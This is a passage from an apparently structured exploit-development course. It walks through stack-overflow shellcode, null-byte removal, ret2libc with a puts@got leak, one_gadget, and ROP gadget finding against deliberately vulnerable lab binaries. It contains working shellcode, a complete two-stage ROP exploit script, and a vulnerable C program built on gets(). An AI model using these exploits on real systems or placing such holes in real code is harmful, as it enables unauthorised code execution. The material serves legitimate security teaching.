The stack layout differs between GDB and normal execution due to environment variables:

# See the difference
env | wc -l       # Count env vars
env -i ./vuln1    # Run with empty environment

# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env                        # Should be minimal

# Or use this pwntools trick to match addresses
p = process('./vuln1', env={})        # Empty environment

Essential pwndbg Commands for Exploit Development (AMD64):

# Address finding
pwndbg> vmmap                         # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh"           # Find string in memory
pwndbg> got                           # Show GOT entries

# Payload verification
pwndbg> hexdump $rsp 100              # View your payload on stack
pwndbg> telescope $rsp 20             # Smart stack display (shows dereferences)

# Execution tracing
pwndbg> nearpc                        # Show instructions around PC
pwndbg> context                       # Full context display
pwndbg> retaddr                       # Show return addresses on stack

# Exploit helpers
pwndbg> rop                           # Find ROP gadgets (slow)
pwndbg> checksec                      # Binary protections

Debugging Checklist (Use Before Asking for Help!):

  • Offset verified? Use cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)
  • Addresses correct? Double-check with print &function in GDB
  • Architecture matches? context.arch = 'amd64', use p64() not p32()
  • Endianness correct? x86/x64 = little endian = p64()
  • No bad characters? Check for \x00, \x0a, \x0d in payload
  • Stack executable? checksec should show "NX disabled"
  • ASLR disabled for this run? Use setarch -R or GDB's default
  • Using same environment? env -i or env={} in pwntools
  • Shellcode tested standalone? run_shellcode() in pwntools
  • Stack aligned? AMD64 requires 16-byte alignment before call

Environment Hygiene (Critical for Exploit Development)

Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.

The Problem:

Normal execution:     GDB execution:           Different terminal:
┌─────────────────┐   ┌─────────────────┐      ┌─────────────────┐
│ env vars (big)  │   │ env vars + GDB  │      │ different env   │
│ PWD=/long/path  │   │ extra vars      │      │ COLUMNS=120     │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ argv, argc      │   │ argv, argc      │      │ argv, argc      │
├─────────────────┤   ├─────────────────┤      ├─────────────────┤
│ Stack           │   │ Stack           │      │ Stack           │
│ buffer @ 0xABC  │   │ buffer @ 0xA00  │      │ buffer @ 0xB00  │
└─────────────────┘   └─────────────────┘      └─────────────────┘
       ↑ Different addresses due to env var size!

Solution: Force Consistent Environment:

# Method 1: Clear all environment variables
env -i ./exploit

# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit

# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={})  # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})

# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})

The "It Works on My Machine" Checklist

  • Buffering Hell
    • Local process() typically uses PTY (unbuffered).
    • Remote nc or sockets are often fully buffered or line-buffered.
    • Always use p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.
  • IO Handling
    • p.recv() is dangerous—it returns some data, not all data.
    • p.clean() removes unread data (useful before sending payload).
    • p.sendline() adds \n. Ensure target expects \n and not just raw bytes.
  • Environment Variables
    • Remote servers have different env vars than your GDB session.
    • This shifts stack addresses by +/- 0x100 bytes.
    • Never rely on exact stack addresses (hardcoded 0x7ffffff...).
    • Always use leaks (libc/stack) and relative offsets, or NOP sleds.

GDB Environment Matching:

# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env          # Verify minimal environment
(gdb) run

# Or start GDB with clean environment
env -i gdb -q ./vuln

pwntools Best Practice for Learning:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./vuln')

# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})

# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln')  # Real-world: ASLR enabled

Verification:

# Compare stack addresses with different environments
env -i ./vuln          # Note buffer address
./vuln                 # Different address!
env -i PWD=x ./vuln    # Yet another address

# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack

[!WARNING] Always use env -i or env={} when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.

Practical Exercise

Exercise: Exploit vuln1 to get a shell

Steps:

  1. Compile Target (AMD64):

    make training-shellcode SOURCE=vuln1.c BINARY=vuln1
    #gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1
    #checksec --file=./vuln1
    
  2. Find Offset (AMD64 uses 8-byte patterns):

    pwn cyclic 200
    # copy output
    gdb ./vuln1
    run
    # paste as input
    # Note the 4-byte crash value for RIP
    cyclic -n 4 -l <4_byte_crash_value>
    
  3. Find Stack Address (or jmp rsp gadget):

    ROPgadget --binary ./vuln1 | grep "jmp rsp"
    
  4. Build Exploit (AMD64):

    • NOP sled (50 bytes)
    • AMD64 shellcode (use asm(shellcraft.amd64.linux.sh()))
    • Padding to offset (72 bytes typical)
    • Return address (8 bytes - use p64())
  5. Test Exploit:

    python3 exploit1.py
    # Should get shell
    id
    whoami
    

Success Criteria:

  • Successfully overflow return address
  • Shellcode executes
  • Shell obtained
  • Can run commands (id, whoami, ls)

Week 4 Deliverable Exercise: From Minimized Crash to Exploit

Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.

Inputs from Week 4:

  • A minimized crash input (file or stdin blob)
  • An exact reproduction command (argv + input path)
  • Your reproduction notes (OS/libc, environment variables, ASLR settings)

Task:

  1. Reproduce the crash reliably (>= 9/10) using the exact same input path and environment.
  2. Generate a core dump and confirm you control RIP.
  3. Replace your crashing bytes with a cyclic pattern and recover the exact offset.
  4. Build an exploit that spawns a shell (ret2shellcode for Day 1).

Success Criteria:

  • Offset derived from the crash (not guessed)
  • Exploit works multiple times in a row

Week 2 Integration Exercise: AFL++ Crash -> Minimize -> Exploit

Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.

Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.

Task:

  1. Build the target with AFL++ instrumentation.
  2. Run afl-fuzz until you get a crash.
  3. Minimize the crashing input with afl-tmin.
  4. Use the minimized crash to recover the offset and build a working exploit.

Success Criteria:

  • A fuzzer-generated input crashes the program
  • afl-tmin produces a smaller reproducer that still crashes
  • You can transform the minimized input into a working exploit

Common Issues and Solutions

Issue 1: Segfault at wrong address

# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip

# Adjust return address in exploit

Issue 2: Shellcode not executing

# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"

# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)

Issue 3: Stack address wrong

# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled

Common Mistakes to Avoid

  1. Forgetting endianness: x86/x64 is little-endian. 0xdeadbeef becomes \xef\xbe\xad\xde
  2. Wrong architecture: AMD64 shellcode won't work in 32-bit process (and vice versa!)
  3. Using p32() on AMD64: Always use p64() for 64-bit binaries
  4. Bad characters: Null bytes (\x00) terminate strings in strcpy. Other common bad chars: \x0a (newline), \x0d (carriage return), \x20 (space)
  5. Stack alignment: AMD64 requires 16-byte alignment before call for some libc functions (add extra ret gadget if crashes in libc)
  6. Environment differences: Stack addresses differ between GDB and normal execution (due to environment variables)

Exercise: Removing Null Bytes from Shellcode

Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.

Common Null Byte Sources:

InstructionBytesProblemSolution
mov rax, 048 c7 c0 00 00 00 00Immediate 0xor eax, eax31 c0
mov rdi, 0x68732f6e69622fContains nullsString paddingUse push/mov sequences
mov al, 59b0 3bNo nulls!OK as-is
syscall0f 05No nullsOK as-is

Task: Convert this null-containing shellcode to null-free:

; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64

section .text
global _start

_start:
    mov rax, 59          ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
    mov rdi, binsh       ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
    mov rsi, 0           ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
    mov rdx, 0           ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
    syscall

section .data
binsh: db "/bin/sh", 0   ; Contains null terminator!

Solution: Null-Free Version:

; Null-free execve("/bin/sh", NULL, NULL)
BITS 64

section .text
global _start

_start:
    ; Clear registers without using immediate 0
    xor eax, eax         ; 31 c0 - clears RAX (zero-extends to 64-bit)
    xor esi, esi         ; 31 f6 - clears RSI
    xor edx, edx         ; 31 d2 - clears RDX

    ; Push "/bin/sh" onto stack (reverse order, no null in code)
    ; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
    push rax             ; Null terminator on stack
    mov rdi, 0x68732f2f6e69622f  ; "/bin//sh" (no embedded nulls)
    push rdi
    mov rdi, rsp         ; RDI = pointer to "/bin//sh\0"

    ; Set syscall number without nulls
    mov al, 59           ; b0 3b - only sets AL, RAX already 0

    syscall              ; 0f 05 - execute!

pwntools Verification:

# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Check for null bytes in shellcode
shellcode = asm('''
    xor eax, eax
    xor esi, esi
    xor edx, edx
    push rax
    mov rdi, 0x68732f2f6e69622f
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall
''')

# Verify no null bytes
if b'\x00' in shellcode:
    print(f"[!] FAIL: Shellcode contains null bytes!")
    print(f"    Position: {shellcode.index(b'\\x00')}")
    print(f"    Bytes: {shellcode.hex()}")
else:
    print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
    print(f"    {shellcode.hex()}")

# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()

Null-Byte Elimination Techniques:

OriginalNull-Free ReplacementNotes
mov rax, 0xor eax, eaxZero-extends to 64-bit
mov rdi, 0xor edi, ediZero-extends to 64-bit
mov rax, small_numxor eax, eax; mov al, numFor values < 256
mov rax, imm64push imm32; pop raxIf value fits in 32-bit
String in .datapush string onto stackBuild string at runtime
jmp label with null offsetUse short jumps or restructureRelative offset issue

Identifying Bad Characters:

#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
    found = []
    for i, byte in enumerate(shellcode):
        if bytes([byte]) in bad_chars:
            found.append((i, hex(byte)))
    return found

shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
    print(f"Bad characters at: {bad}")
else:
    print("Shellcode is clean!")

[!TIP] Use pwntools shellcraft with encoders for complex shellcode:

# Automatically generate null-free shellcode
shellcode = asm(shellcraft.amd64.linux.sh())
# Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'

Debugging Tips:

# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)

# Run with same environment as GDB
env -i ./binary

# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core

# Trace syscalls/library calls
strace ./binary
ltrace ./binary

Key Takeaways

  1. Stack overflows overwrite return address: Control RIP (AMD64) / EIP (x86)
  2. Finding offset is critical: Use cyclic patterns (8-byte on AMD64!)
  3. NOP sleds improve reliability: Don't need exact address
  4. Stack must be executable: -z execstack required for shellcode
  5. Per-process ASLR disable: Use setarch -R or GDB, NOT system-wide
  6. AMD64 uses 8-byte addresses: Always use p64() not p32()

Discussion Questions

  1. Why does a NOP sled improve exploit reliability?
  2. What happens if ASLR is enabled but other protections are disabled?
  3. How would you modify your exploit if the vulnerable function used read() instead of gets()?
  4. What are the limitations of this technique in real-world scenarios?
  5. Why is AMD64 stack alignment (16-byte) important for exploit reliability?

Day 2: Return-to-libc and Introduction to ROP

  • Goal: Learn code-reuse exploitation when stack is not executable.
  • Activities:

Context: Router Exploitation (MIPS/ARM)

  • Return-to-libc is a staple in embedded device exploitation (routers, IoT).
  • Many of these devices run on MIPS or ARM architectures where stack execution is often disabled or cache coherency issues make shellcode unreliable.
  • Attackers frequently use system() or execve() from libc to spawn a shell, just like we will do today.

Deliverables

  • Binary: vuln2 built with NX enabled and verified with checksec
  • Leak stage: Stage 1 leak works and returns to main
  • Libc base: libc.address correctly computed from the leak
  • Final stage: Stage 2 gains code execution (shell)
  • Notes: gadgets + alignment rationale, plus the parsed leak value

Non-Executable Stack (NX/DEP)

What is NX?:

  • NX (No eXecute) bit marks stack as non-executable
  • Also called DEP (Data Execution Prevention) on Windows
  • Shellcode on stack cannot execute
  • Need alternative exploitation strategy

Enable NX for Practice (AMD64):

# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled

# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)

Return-to-libc Technique

Concept:

  • Instead of executing shellcode, call existing functions
  • libc provides useful functions (system, execve, etc.)
  • Chain function calls to achieve goal
  • No shellcode needed!

[!IMPORTANT] AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!

The Canonical Exploit Pattern: Leak → Compute → Exploit

[!CAUTION] Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.

The Real-World Pattern:

1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve

Why This Matters:

  • Works even with ASLR enabled (after one leak)
  • Portable across different libc versions (with correct libc file)
  • This is how real exploits work—not "paste address from GDB"

Required Lab: Libc Leak via ROP (AMD64)

This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.

vuln2.c (Vulnerable program for leak practice):

#include <stdio.h>
#include <string.h>

// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
    __asm__ volatile (
        "pop %rdi; ret\n"    // pop rdi; ret - for first argument
        "pop %rsi; ret\n"    // pop rsi; ret - for second argument
        "pop %rdx; ret\n"    // pop rdx; ret - for third argument
        "ret\n"              // ret - for stack alignment
    );
}

void vulnerable() {
    char buffer[64];
    printf("Enter input: ");
    fflush(stdout);
    gets(buffer);  // Vulnerable! Allows overflow and null bytes
    printf("You entered: %s\n", buffer);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);  // Disable buffering for reliable I/O
    puts("ROP Practice - ret2libc with leak");
    vulnerable();
    puts("Done!");  // Important: binary must import puts for our leak!
    return 0;
}

Compile (AMD64, NX enabled):

cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled

Complete Leak-Based Exploit (AMD64):

#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64

This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell

Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *

# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64

# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  # Almost always needed
ret = rop.find_gadget(['ret'])[0]  # For stack alignment

log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")

# ============ ADDRESSES ============
puts_plt = elf.plt['puts']      # PLT stub to call puts
puts_got = elf.got['puts']      # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak

log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")

# ============ EXPLOIT ============
OFFSET = 72  # 64 buffer + 8 saved RBP

def exploit():
    # Can run locally or switch to remote
    if args.REMOTE:
        p = remote('target', 1337)
    else:
        p = process(binary_path)

    # ========== STAGE 1: LEAK LIBC ADDRESS ==========
    log.info("Stage 1: Leaking libc address via puts(puts@got)")

    # Wait for prompt
    p.recvuntil(b'Enter input: ')

    # AMD64 ROP: pop rdi loads argument, then call puts
    # Stack alignment: add ret gadget if needed
    stage1 = flat(
        b'A' * OFFSET,
        p64(ret),           # Stack alignment (16-byte before call)
        p64(pop_rdi),       # pop rdi; ret
        p64(puts_got),      # RDI = puts@got (address to leak)
        p64(puts_plt),      # Call puts(puts@got) - prints libc address!
        p64(main_addr),     # Return to main for stage 2
    )

    p.sendline(stage1)

    # Parse the leak
    # Our ROP chain: puts(puts@got) → main, so output is:
    # "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
    # Skip until after our payload echo, then read leaked address line
    p.recvuntil(b'You entered: ')
    p.recvuntil(b'\n')  # Skip to end of "You entered" line

    # Read leaked bytes - puts adds a newline, so read until that newline
    leaked_bytes = p.recvline().strip()  # Remove trailing newline from puts

    # Handle the leak (puts stops at null bytes, pad if needed)
    leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
    log.success(f"Leaked puts@libc: {hex(leaked_puts)}")

    # ========== COMPUTE LIBC BASE ==========
    libc.address = leaked_puts - libc.symbols['puts']
    log.success(f"Calculated libc base: {hex(libc.address)}")

    # Verify libc base looks reasonable (should end in 000 due to page alignment)
    if libc.address & 0xfff != 0:
        log.warning("Libc base not page-aligned - leak may be wrong!")

    # ========== STAGE 2: ONE_GADGET APPROACH ==========
    # Modern libc lacks clean pop rdx gadgets, so we use one_gadget
    # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
    # Constraints vary - try each until one works
    log.info("Stage 2: Using one_gadget")

    # One_gadget offsets - UPDATE THESE for your libc version!
    # Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
    one_gadgets = [
        0xef4ce,  # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
        0xef52b,  # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
        0x583ec,  # posix_spawn constraints
        0x583f3,  # posix_spawn constraints
    ]

    # Try the second one_gadget (0xef52b) - needs rax=NULL
    # If first doesn't work, try index 1, 2, 3...
    one_gadget = libc.address + one_gadgets[1]
    log.info(f"one_gadget @ {hex(one_gadget)}")

    # Wait for prompt (program returned to main, runs vulnerable() again)
    p.recvuntil(b'Enter input: ')

    # For one_gadget, we need valid RBP (rbp-0x50 must be writable)
    # Our overflow corrupted RBP to 0x4141...
    # Fix: set RBP to a writable address (like stack) before one_gadget
    libc_rop = ROP(libc)

    # Find gadgets
    pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
    pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
    pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
    pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])

    # Use a writable address for RBP - use a known writable section
    # .bss section in the binary is always writable
    writable_addr = elf.bss() + 0x200  # Some offset into .bss

    stage2 = b'A' * OFFSET
    stage2 += p64(ret)           # Stack alignment

    # Fix RBP to point to writable memory (CRITICAL for one_gadget!)
    if pop_rbp:
        stage2 += p64(pop_rbp[0])
        stage2 += p64(writable_addr + 0x80)  # rbp = writable addr + margin

    # Set rax = 0 (for one_gadget constraints)
    if pop_rax:
        stage2 += p64(pop_rax[0])
        stage2 += p64(0)         # rax = NULL

    # Set rbx = 0 and r12 = 0 (for other one_gadget constraints)
    if pop_rbx:
        stage2 += p64(pop_rbx[0])
        stage2 += p64(0)         # rbx = NULL
    if pop_r12:
        stage2 += p64(pop_r12[0])
        stage2 += p64(0)         # r12 = NULL

    log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}")
    stage2 += p64(one_gadget)    # Jump to one_gadget

    p.sendline(stage2)

    # Got shell!
    log.success("Shell incoming!")
    p.interactive()

if __name__ == '__main__':
    exploit()

Key Points:

  1. Never use p.libs() in final exploits - it only works locally for debugging
  2. Always leak, then compute - this works with ASLR enabled
  3. Stack alignment - AMD64 requires 16-byte alignment before call; add ret gadget
  4. Return to main - allows second stage after leak
  5. Fix RBP for one_gadget - buffer overflows corrupt RBP; one_gadgets need rbp-0xXX writable
  6. Modern libc has CET - SHSTK/IBT enabled; system() may fail, use one_gadget instead

AMD64 Stack Alignment

[!CAUTION] AMD64 Failure Mode: If your exploit crashes with SIGSEGV inside libc (e.g., in movaps instruction), you have a stack alignment problem. The stack must be 16-byte aligned before any call instruction.

The Problem:

  • System V AMD64 ABI requires:
    • Stack must be 16-byte aligned BEFORE the 'call' instruction
    • 'call' pushes 8-byte return address → stack becomes misaligned
    • Function prologue (push rbp) realigns it
  • When ROP chains skip prologues, alignment breaks!

The Fix - Always Include ret Gadget:

# WRONG - may crash in libc due to misalignment
payload = flat(
    b'A' * offset,
    p64(pop_rdi),
    p64(binsh),
    p64(system),  # Crashes with movaps SIGSEGV!
)

# CORRECT - ret gadget aligns stack
ret = rop.find_gadget(['ret'])[0]
payload = flat(
    b'A' * offset,
    p64(ret),      # ← Stack alignment fix!
    p64(pop_rdi),
    p64(binsh),
    p64(system),   # Works on older libc!
)

[!WARNING] Modern libc (glibc 2.34+) has Intel CET enabled! Even with correct alignment, system() may still crash due to Shadow Stack (SHSTK) and Indirect Branch Tracking (IBT). Check with checksec: if SHSTK: Enabled and IBT: Enabled, use one_gadget instead.

When Alignment Isn't Enough (CET):

# If system() crashes even with alignment, check for CET:
# checksec /lib/x86_64-linux-gnu/libc.so.6
# Shows: SHSTK: Enabled, IBT: Enabled

# Solution: Use one_gadget with RBP fix instead of system()
one_gadget = libc.address + 0xef52b  # From: one_gadget /path/to/libc.so.6
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])

payload = flat(
    b'A' * offset,
    p64(ret),                        # Stack alignment
    p64(pop_rbp[0]),
    p64(elf.bss() + 0x280),          # Fix RBP for one_gadget constraints
    p64(one_gadget),                 # Bypasses CET!
)

Debugging Alignment Issues:

# In GDB, when you hit the crash:
pwndbg> x/i $rip
# If you see: movaps xmmword ptr [rsp+0x50], xmm0
# This is an alignment issue!

pwndbg> p/x $rsp
# Check if RSP ends in 0 or 8
# Before call: should end in 0 (16-byte aligned)
# After call: ends in 8 (return addr pushed)
# ============================================================
# EXERCISE: "Break It, Fix It" (The Movaps Trap)
# ============================================================
# 1. Create a ROP chain that calls system("/bin/sh") WITHOUT a ret gadget.
#    payload = flat(b'A'*offset, pop_rdi, binsh, system)
# 2. Run it inside GDB. It will crash.
# 3. Inspect the crash:
#    (gdb) x/i $rip
#    => movaps xmmword ptr [rsp+0x40], xmm0
# 4. Check stack alignment:
#    (gdb) p/x $rsp
#    Result ends in 0x8? That's the bug.
# 5. Fix it:
#    payload = flat(b'A'*offset, ret, pop_rdi, binsh, system)
#    (gdb) p/x $rsp (at system entry) -> Now ends in 0x0. Success.
# ============================================================

# If aligned but still crashes - check for CET:
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK/IBT enabled = use one_gadget instead

Automated Address Finding (Local Debugging Only)

[!WARNING] p.libs() only works for local debugging. Never use it in exploits targeting remote systems! Always use the leak pattern.

#!/usr/bin/env python3
#~/exploit/10.py
"""
Address finding for LOCAL DEBUGGING ONLY
DO NOT use p.libs() in real exploits - it doesn't work remotely!
"""
from pwn import *

elf = context.binary = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# LOCAL DEBUGGING ONLY - shows where libc is loaded in THIS process
p = process('./vuln2', aslr=False, env={})

# Get libc base from process maps (LOCAL ONLY!)
# NOTE: libc.path may not match p.libs() keys due to symlinks
# Search for 'libc' in the library paths instead
libs = p.libs()
libc_path = [path for path in libs.keys() if 'libc' in path][0]
libc_base = libs[libc_path]
libc.address = libc_base

log.warning("Using p.libs() - THIS ONLY WORKS LOCALLY!")
log.info(f"Local libc base: {hex(libc.address)}")
log.info(f"Local system(): {hex(libc.symbols['system'])}")

# Find useful addresses for debugging
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f"/bin/sh string: {hex(binsh)}")

# For one_gadget debugging - verify offsets work with your libc
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offsets = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]  # UPDATE for your libc!
for i, offset in enumerate(one_gadget_offsets):
    log.info(f"one_gadget[{i}]: {hex(libc.address + offset)}")

# Writable address for RBP fix (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
log.info(f"Writable .bss for RBP: {hex(writable)}")

# In a real exploit, you would LEAK an address instead:
# leaked = ... (from ROP chain)
# libc.address = leaked - libc.symbols['puts']

Finding one_gadget Offsets:

# Install one_gadget (Ruby gem)
gem install one_gadget

# Find gadgets for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Example output:
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x50 is writable
#   rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
#   address rbp-0x50 is writable
#   rax == NULL || {"/bin/sh", rax, NULL} is a valid argv

# Copy the offsets to your exploit and try each one
# Remember: set RBP to writable address before calling!

Identifying Your Libc Version:

# Check libc version
ldd --version
# Or:
/lib/x86_64-linux-gnu/libc.so.6

# Get libc build ID (for libc database lookups)
file /lib/x86_64-linux-gnu/libc.so.6
# Or:
readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep "Build ID"

# Check for CET (determines if system() ROP will work)
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK: Enabled, IBT: Enabled = use one_gadget instead of system()

Introduction to ROP

What is ROP?:

  • Technique to chain existing code "gadgets"
  • Gadget = short instruction sequence ending in ret
  • Chain gadgets to build arbitrary operations
  • Bypasses NX/DEP without shellcode

AMD64 ROP Basics:

Unlike x86 where you push arguments to the stack, AMD64 passes arguments in registers. This means you need gadgets like pop rdi; ret to load arguments!

Essential AMD64 Gadgets:

GadgetPurposeUsage
pop rdi; retLoad 1st argumentAlmost always needed!
pop rsi; retLoad 2nd argumentFor two-arg functions
pop rdx; retLoad 3rd argumentRare in modern libc! Use one_gadget
pop rbp; retFix RBP for one_gadgetCritical for one_gadget!
pop rax; retSet RAX (syscall #)For one_gadget constraints
retStack alignment / pivotFix 16-byte alignment

[!NOTE] Modern libc (glibc 2.34+) lacks clean pop rdx; ret gadgets and has CET enabled. Traditional system("/bin/sh") ROP often fails. Use one_gadget instead!

Simple AMD64 ROP Example (Traditional - may fail on modern libc):

Goal: Call system("/bin/sh") - works on older libc without CET

AMD64 calling convention:
- RDI = first argument = address of "/bin/sh"
- Then call system()

Stack layout (after overflow):
┌─────────────────┐
│ ret gadget      │ → align stack (optional)
├─────────────────┤
│ pop rdi; ret    │ → gadget address
├─────────────────┤
│ &"/bin/sh"      │ → value popped into RDI
├─────────────────┤
│ &system         │ → called with RDI = "/bin/sh"
└─────────────────┘

Modern AMD64 ROP Example (one_gadget - works on glibc 2.34+):

Goal: Call one_gadget (execve("/bin/sh", ...)) - works on modern libc with CET

Requirements:
- RBP = writable address (one_gadget needs rbp-0x50 writable)
- RAX = 0 (some one_gadgets require this)

Stack layout (after overflow):
┌─────────────────┐
│ ret gadget      │ → align stack
├─────────────────┤
│ pop rbp; ret    │ → from libc
├─────────────────┤
│ .bss + 0x280    │ → writable address for RBP
├─────────────────┤
│ pop rax; ret    │ → from libc (optional, for constraints)
├─────────────────┤
│ 0x0             │ → RAX = NULL
├─────────────────┤
│ one_gadget      │ → libc.address + offset → shell!
└─────────────────┘

Finding ROP Gadgets

Master manual gadget hunting before relying on tools—it builds intuition for what's possible.

Manual Gadget Finding (Do This First!)

# Why manual first? Because:
# 1. Tools miss "unaligned" gadgets
# 2. Understanding binary structure helps debugging
# 3. Sometimes you need a specific gadget tools don't flag

# Step 1: Disassemble the binary
objdump -d -M intel vuln2 > disasm.txt

# Step 2: Search for 'ret' instructions (opcode: 0xc3)
grep -n "ret" disasm.txt

# Step 3: Look backwards from each 'ret' for useful sequences
# Example output (AMD64):
#  401234:  5f                     pop    rdi
#  401235:  c3                     ret
# This is a "pop rdi; ret" gadget at 0x401234

# Step 4: Search for specific patterns
grep -B2 "ret" disasm.txt | grep "pop"

# AMD64: Search for syscall instruction
objdump -d vuln2 | grep "syscall"

Common AMD64 Gadget Byte Patterns:

Gadget TypeByte SequenceInstruction
pop rdi; ret5f c3Load RDI (arg 1)
pop rsi; ret5e c3Load RSI (arg 2)
pop rdx; ret5a c3Load RDX (arg 3) - rare!
pop rcx; ret59 c3Load RCX (arg 4)
pop rax; ret58 c3Load RAX (for one_gadget)
pop rbp; ret5d c3Fix RBP for one_gadget!
retc3Stack alignment
syscall0f 05Syscall (AMD64)
